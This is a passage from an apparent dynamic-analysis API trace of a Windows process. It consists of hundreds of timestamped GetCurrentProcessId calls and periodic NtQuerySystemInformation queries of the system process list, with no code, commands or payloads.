() returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.625] GetCurrentProcessId () returned 0x10c0 [0291.625] GetCurrentProcessId () returned 0x10c0 [0291.625] GetCurrentProcessId () returned 0x10c0 [0291.625] GetCurrentProcessId () returned 0x10c0 [0291.625] GetCurrentProcessId () returned 0x10c0 [0291.625] GetCurrentProcessId () returned 0x10c0 [0291.625] GetCurrentProcessId () returned 0x10c0 [0292.133] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1de98) returned 0x0 [0292.138] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.139] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.140] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.141] GetCurrentProcessId () returned 0x10c0 [0292.142] GetCurrentProcessId () returned 0x10c0 [0292.142] GetCurrentProcessId () returned 0x10c0 [0292.142] GetCurrentProcessId () returned 0x10c0 [0292.142] GetCurrentProcessId () returned 0x10c0 [0292.142] GetCurrentProcessId () returned 0x10c0 [0292.142] GetCurrentProcessId () returned 0x10c0 [0292.142] GetCurrentProcessId () returned 0x10c0 [0292.142] GetCurrentProcessId () returned 0x10c0 [0292.142] GetCurrentProcessId () returned 0x10c0 [0292.142] GetCurrentProcessId () returned 0x10c0 [0292.142] GetCurrentProcessId () returned 0x10c0 [0292.142] GetCurrentProcessId () returned 0x10c0 [0292.648] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1de98) returned 0x0 [0292.654] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.655] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.656] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.657] GetCurrentProcessId () returned 0x10c0 [0292.658] GetCurrentProcessId () returned 0x10c0 [0292.658] GetCurrentProcessId () returned 0x10c0 [0292.658] GetCurrentProcessId () returned 0x10c0 [0292.658] GetCurrentProcessId () returned 0x10c0 [0292.658] GetCurrentProcessId () returned 0x10c0 [0292.658] GetCurrentProcessId () returned 0x10c0 [0292.658] GetCurrentProcessId () returned 0x10c0 [0292.658] GetCurrentProcessId () returned 0x10c0 [0292.658] GetCurrentProcessId () returned 0x10c0 [0292.658] GetCurrentProcessId () returned 0x10c0 [0292.658] GetCurrentProcessId () returned 0x10c0 [0292.658] GetCurrentProcessId () returned 0x10c0 [0292.659] GetCurrentProcessId () returned 0x10c0 [0292.659] GetCurrentProcessId () returned 0x10c0 [0292.659] GetCurrentProcessId () returned 0x10c0 [0292.659] GetCurrentProcessId () returned 0x10c0 [0292.659] GetCurrentProcessId () returned 0x10c0 [0292.659] GetCurrentProcessId () returned 0x10c0 [0292.659] GetCurrentProcessId () returned 0x10c0 [0292.659] GetCurrentProcessId () returned 0x10c0 [0292.659] GetCurrentProcessId () returned 0x10c0 [0292.659] GetCurrentProcessId () returned 0x10c0 [0293.163] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1dee8) returned 0x0 [0293.165] GetCurrentProcessId () returned 0x10c0 [0293.165] GetCurrentProcessId () returned 0x10c0 [0293.165] GetCurrentProcessId () returned 0x10c0 [0293.165] GetCurrentProcessId () returned 0x10c0 [0293.165] GetCurrentProcessId () returned 0x10c0 [0293.165] GetCurrentProcessId () returned 0x10c0 [0293.165] GetCurrentProcessId () returned 0x10c0 [0293.165] GetCurrentProcessId () returned 0x10c0 [0293.165] GetCurrentProcessId () returned 0x10c0 [0293.165] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.166] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.167] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.168] GetCurrentProcessId () returned 0x10c0 [0293.169] GetCurrentProcessId () returned 0x10c0 [0293.169] GetCurrentProcessId () returned 0x10c0 [0293.169] GetCurrentProcessId () returned 0x10c0 [0293.169] GetCurrentProcessId () returned 0x10c0 [0293.169] GetCurrentProcessId () returned 0x10c0 [0293.169] GetCurrentProcessId () returned 0x10c0 [0293.169] GetCurrentProcessId () returned 0x10c0 [0293.169] GetCurrentProcessId () returned 0x10c0 [0293.169] GetCurrentProcessId () returned 0x10c0 [0293.169] GetCurrentProcessId () returned 0x10c0 [0293.169] GetCurrentProcessId () returned 0x10c0 [0293.169] GetCurrentProcessId () returned 0x10c0 [0293.169] GetCurrentProcessId () returned 0x10c0 [0293.169] GetCurrentProcessId () returned 0x10c0 [0293.685] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1df38) returned 0x0 [0293.687] GetCurrentProcessId () returned 0x10c0 [0293.687] GetCurrentProcessId () returned 0x10c0 [0293.687] GetCurrentProcessId () returned 0x10c0 [0293.687] GetCurrentProcessId () returned 0x10c0 [0293.687] GetCurrentProcessId () returned 0x10c0 [0293.687] GetCurrentProcessId () returned 0x10c0 [0293.687] GetCurrentProcessId () returned 0x10c0 [0293.687] GetCurrentProcessId () returned 0x10c0 [0293.687] GetCurrentProcessId () returned 0x10c0 [0293.687] GetCurrentProcessId () returned 0x10c0 [0293.687] GetCurrentProcessId () returned 0x10c0 [0293.687] GetCurrentProcessId () returned 0x10c0 [0293.687] GetCurrentProcessId () returned 0x10c0 [0293.687] GetCurrentProcessId () returned 0x10c0 [0293.687] GetCurrentProcessId () returned 0x10c0 [0293.687] GetCurrentProcessId () returned 0x10c0 [0293.687] GetCurrentProcessId () returned 0x10c0 [0293.687] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.688] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.689] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0293.690] GetCurrentProcessId () returned 0x10c0 [0294.206] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1df38) returned 0x0 [0294.208] GetCurrentProcessId () returned 0x10c0 [0294.208] GetCurrentProcessId () returned 0x10c0 [0294.208] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.209] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.210] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] 